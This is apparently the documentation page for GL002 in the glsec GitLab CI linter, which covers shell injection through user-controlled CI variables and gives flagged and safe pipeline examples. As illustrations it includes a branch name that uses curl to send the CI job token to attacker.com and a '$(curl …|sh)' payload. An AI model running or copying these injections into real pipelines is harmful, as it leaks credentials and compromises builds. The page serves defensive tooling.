Rules / GL002
GL002 Variable injection
Severity: warn
OWASP: CICD-SEC-4 – Poisoned Pipeline Execution
Risk
Several GitLab CI predefined variables are populated from user-supplied data: branch names, MR titles, commit messages. Using them unquoted in script: allows an attacker who controls a branch name or MR title to inject arbitrary shell commands into the pipeline.
User-controlled variables checked
| Variable | Source |
|---|---|
CI_COMMIT_REF_NAME |
Branch or tag name |
CI_COMMIT_BRANCH |
Branch name |
CI_COMMIT_TAG |
Tag name |
CI_COMMIT_TITLE |
First line of commit message |
CI_COMMIT_MESSAGE |
Full commit message |
CI_COMMIT_DESCRIPTION |
Commit description (after first paragraph) |
CI_MERGE_REQUEST_SOURCE_BRANCH_NAME |
Source branch of MR |
CI_MERGE_REQUEST_TITLE |
MR title |
CI_MERGE_REQUEST_DESCRIPTION |
MR description |
CI_PIPELINE_NAME |
Pipeline name set by the caller when triggering via API |
CI_COMMIT_AUTHOR |
Commit author Name <email>, set verbatim from the commit |
GITLAB_USER_NAME |
Account display name, free-text and user-editable |
GITLAB_USER_EMAIL |
Account email, user-editable |
CI_EXTERNAL_PULL_REQUEST_SOURCE_BRANCH_NAME |
Source branch of an external pull request, named by its author |
CI_CONFIG_REF_URI |
Ref path of the pipeline definition, ending in @refs/heads/<branch> (GitLab 19.0) |
CI_RELEASE_DESCRIPTION |
Release description, free text on tag pipelines |
AI_FLOW_INPUT |
GitLab Duo flow: the comment that triggered the flow |
AI_FLOW_CONTEXT |
GitLab Duo flow: JSON context of the merge request, issue or epic, including its diff and comments |
In a fork merge-request pipeline the identity variables (CI_COMMIT_AUTHOR, GITLAB_USER_NAME, GITLAB_USER_EMAIL) reflect the external MR author and are attacker-controlled. GITLAB_USER_LOGIN is intentionally not flagged — its username charset excludes shell metacharacters. The same goes for CI_COMMIT_USER_LOGIN. CI_PROJECT_TOPICS (set by maintainers), AI_FLOW_EVENT (a fixed trigger type) and AI_FLOW_GOAL (set on the trigger by maintainers) are not flagged either.
CI_EXTERNAL_PULL_REQUEST_SOURCE_BRANCH_NAME is set only in external pull request pipelines, where a project mirrors an external repository. The rest of that family is not flagged: the target branch belongs to the mirroring project rather than the contributor, the _SHA variants are hex, and _IID is numeric.
Trigger example
deploy:
script:
- echo $CI_COMMIT_REF_NAME # unquoted — shell-parses the branch name
- ./notify.sh $CI_MERGE_REQUEST_TITLE
A branch named main; curl http://attacker.com/exfil?t=$CI_JOB_TOKEN would execute the injected command.
Quoting does not help when the string is evaluated as code
deploy:
script:
- eval "echo building $CI_MERGE_REQUEST_TITLE"
- bash -c "git checkout $CI_COMMIT_BRANCH"
- python3 -c "print('$CI_COMMIT_REF_NAME')"
The outer shell expands the variable inside the double quotes, and then eval, sh -c or the interpreter parses the result as code. An MR title containing $(curl …|sh) runs as a command, even though the variable is quoted. This form is flagged with its own message naming the evaluating command. glsec recognises eval, sh/bash/zsh/dash/ksh with -c (also combined flags like -ec), python -c, node -e/--eval/-p, and perl/ruby -e.
Safe alternative
deploy:
script:
- echo "$CI_COMMIT_REF_NAME" # quoted — treated as a literal string
- ./notify.sh "$CI_MERGE_REQUEST_TITLE"
# pass the value as an argument instead of splicing it into code
- bash -c 'git checkout "$1"' _ "$CI_COMMIT_BRANCH"
- python3 -c 'import sys; print(sys.argv[1])' "$CI_COMMIT_REF_NAME"
Notes
The rule uses shell quote-masking to detect unquoted occurrences: the contents of "..." and '...' strings and \X escape sequences are replaced with spaces before checking for variable references. Only variables that remain visible after masking are flagged, so "Branch: $CI_COMMIT_REF_NAME" and '$CI_COMMIT_REF_NAME' are not flagged.
The one exception is the double-quoted argument of an evaluating command (see above). The command itself has to be unquoted, so the word eval inside an echo "…" string does not count. An escaped \$VAR inside the argument is a literal dollar sign and is not flagged. A single-quoted argument (bash -c 'echo $CI_COMMIT_MESSAGE') is expanded by the inner shell rather than spliced in as code, and is not flagged.
See also
Enable the ShellCheck integration to surface additional shell issues in these script blocks.
Documentation for glsec 1.23.0. Source of this page · Rule implementation